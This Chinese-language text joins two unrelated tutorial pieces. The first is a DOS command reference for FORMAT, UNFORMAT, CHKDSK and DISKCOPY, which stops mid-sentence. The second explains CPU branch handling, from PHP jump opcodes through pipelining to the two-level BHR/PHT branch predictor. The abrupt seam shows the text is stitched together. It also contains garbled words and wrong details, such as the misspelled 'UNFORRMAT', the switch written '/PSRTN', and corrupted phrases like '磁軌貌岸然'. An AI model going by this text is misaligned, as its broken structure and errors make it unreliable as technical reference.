(5)選用[/Q]參數,快速格式化,這個參數並不會重新劃分磁碟的磁軌貌岸然和扇區,只能將磁碟根目錄、文件分配表以及引導扇區清成空白,因此,格式化的速度較快。
(6)選用[/U]參數,表示無條件格式化,即破壞原來磁碟上所有數據。不加/U,則為安全格式化,這時先建立一個鏡象文件保存原來的FAT表和根目錄,必要時可用UNFORRMAT恢復原來的數據。
(二)UNformAT恢復格式化命令
1.功能:對進行過格式化誤操作丟失數據的磁碟進行恢復。
2.類型:外部命令
3.格式:UNformAT〈盤符〉[/L][/U][/P][/TEST]
4.使用說明:用於將被「非破壞性」格式化的磁碟恢復。根目錄下被刪除的文件或子目錄及磁碟的系統扇區(包括FAT、根目錄、BOOT扇區及硬碟分區表)受損時,也可以用UNformAT來搶救。
(1)選用/L參數列出找到的子目錄名稱、文件名稱、大孝日期等信息,但不會真的做formAT工作。
(2)選用/P參數將顯示於屏幕的報告(包含/L參數所產生的信息)同時也送到列印機。運行時屏幕會顯示:「Print out will
be sent to LPT1」
(3)選用/TEST參數只做模擬試驗(TEST)不做真正的寫入動作。使用此參數屏幕會顯示:「Simulation only」
(4)選用/U參數不使用MIRROR映像文件的數據,直接根據磁碟現狀進行UNformAT。
(5)選用/PSRTN;修復硬碟分區表。
若在盤符之後加上/P、/L、/TEST之一,都相當於使用了/U參數,UNformAT會「假設」此時磁碟沒有MIRROR映像文件。
注意:UNformAT對於剛formAT的磁碟,可以完全恢復,但formAT後若做了其它數據的寫入,則UNformAT就不能完整的救回數據了。UNformAT並非是萬能的,由於使用UNformAT會重建FAT與根目錄,所以它也具有較高的危險性,操作不當可能會擴大損失,如果僅誤刪了幾個文件或子目錄,只需要利用UNDELETE就夠了。
三) CHKDSK——檢查磁碟當前狀態命令
1.功能:顯示磁碟狀態、內存狀態和指定路徑下指定文件的不連續數目。
2.類型:外部命令
3.格式:CHKDSK [盤符:][路徑][文件名][/F][/V]
4.使用說明:
(1)選用[文件名]參數,則顯示該文件佔用磁碟的情況;
(2)選[/F]參數,糾正在指定磁碟上發現的邏輯錯誤;
(3)選用[/V]參數,顯示盤上的所有文件和路徑。
(四)DISKCOPY——整盤復制命令
1.功能:復制格式和內容完全相同的軟盤。
2.類型:外部命令
3.格式:DISKCOPY[盤符1:][盤符2:]
4.使用說明:
(1)如果目標軟盤沒有格式化,則復制時
6. 簡述cpu實現分支的過程
可以看到在執行php時, 是一條一條去執行的
1.先判斷 $a 是否 等於 1
2.如果不等於1,為false, 就JMPZ 到第4條命令,去比較 $a 是否 等於2
如果等於1, echo "a is 1"; 然後 無條件跳轉 JMP 第9行 return 了
3.如果 $a 不等於2 ,即為false, 就JMPZ 到第8條命令, echo "a is x"
如果 $a 等於2,直接echo "a is 2", 然後執行 JMP 第9行 return 了
所以,php編寫的程序,對C函數來說,還是要一步的一步去執行的,關於具體php的分支實現,請點擊這里
如果這個文件被執行100次,有90次 $a=3, 那麼解釋器每次都要判斷 $a 是否等於1和 $a 是否等於2, 盡管第三個分支是滿足條件的,如果是C編寫的程序, CPU會針對某種策略挑選一個分支來執行, 對應上面的分支來說,CPU會直接取出第三個分支的指令,然後執行。
從486開始,CPU開始具備流水線這個特性,指令流水線由5,6個不同功能的工作單元組成,將一個x86指令也拆分成5,6個步驟,分別送往不同的工作單元,來達到同時執行多個指令的目的,現在的CPU支持30級的流水線,也就意味著流水線上有30個工作單元,對應的X86指令也拆分成30個步驟。
註:CPU執行的是二進制數據,代碼經過匯編編譯後,生成一條條二進制指令
例如 int a=1; 對應的匯編是mov $1, %eax; 對應的機器碼可能是00011100011
在執行文件時,根據局部性原理,想關的指令都要載入到CPU緩存中,
一般一條指令的完成 分四個步驟:
1.取指令
2.翻譯指令 (看是賦值,還是計算,從內存什麼地方取數據)
3.執行指令
4.寫指令結果 (要麼寫回內存,要麼寫到寄存器)
取指令翻譯指令執行指令寫指令結果
命令1 命令1
命令2
取指令單元取出指令1後,翻譯指令單元開始 翻譯指令1時,取指令單元可 取出指令2了
如果CPU不這么做,等到指令1完成上面四個步驟後,指令2才開始進行,那效率太低了
流水化中的單元分的更詳細, 更多的指令可以並行處理,但速度不見得快,因為有分支的出現,如果沒有命中第一個分支,後面的指令將作廢, 需要清空後面所有的指令, 然後中載命中地址的指令,再運行
在有5個分支的情況下,若採取隨機挑選一個分支 執行的話,每次賭該分支命中的概率只有五分之一, 於是CPU分支預測功能就出現了。
分支預測分靜態和動態
靜態分支預測:由編譯器決定哪個分支可能被CPU命中,一般是第一個分支,即 if 後面的邏輯,而不是後面else的邏輯
動態分支預測:在CPU硬體中開辟一塊緩存,專門記錄每個分支最近幾次的命中情況,然後做出預測,顯然這種方法能及時調整策略,有更好的遠詹性,但CPU壓力會大些,不過還好。分支地址只有在流水線指令執行階段才能計算出來,為了避免等待,需要在解碼階段進行預測
Two-Level分支預測方法使用了兩種數據結構,一種是BHR(Branch History Register);而另一種是PHT(Pattern History Table)。其中BHR由k位組成(可理解為記錄K次某個分支的執行結果),用來記錄每一條轉移指令的歷史狀態,而PHT表含有2k個Entry組成,而每一個Entry由兩位Saturating Counter組成。BHR和PHT的關系如圖3‑10所示。
假設分支預測單元在使用Two-Level分支預測方法時,設置了一個PBHT表(Per-address Branch History Table)存放不同指令所對應的BHR。在PBHT表中所有BHR的初始值為全1,而在PHT表中所有Entry的初始值值為0b11。BHR在PBHT表中的使用方法與替換機制與Cache類似。
當分支預測單元分析預測轉移指令B的執行時,將首先從PBHT中獲得與轉移指令B對應的BHR,此時BHR為全1,因此CPU將從PHT的第11…11個Entry中獲得預測結果0b11,即Strongly Taken。轉移指令B執行完畢後,將實際執行結果Rc更新到BHR寄存器中,並同時更新PHT中對應的Entry。
當CPU再次預測轉移指令B的執行時,仍將根據BHR索引PHT表,並從對應Entry中獲得預測結果。而當指令B再次執行完畢後,將繼續更新BHR和PHT表中對應的Entry。當轉移指令的執行結果具有某種規律(Pattern)時,使用這種方法可以有效提高預測精度。如果轉移指令B的實際執行結果為001001001….001,而且k等於4時,CPU將以0010-0100-1001這樣的循環訪問BHR,因此CPU將分別從PHT表中的第0010、0100和1001個Entry中獲得准確的預測結果。
由以上描述可以發現,Two-Level分支預測法具有學習功能,並可以根據轉移指令的歷史記錄產生的模式,在PHT表中查找預測結果。該演算法由T.Y. Yeh and Y.N. Patt在1991年提出,並在高性能處理器中得到了大規模應用。
Two-Level分支預測法具有許多變種。目前x86處理器主要使用「Local Branch Prediction」和「Global Branch Prediction」兩種演算法。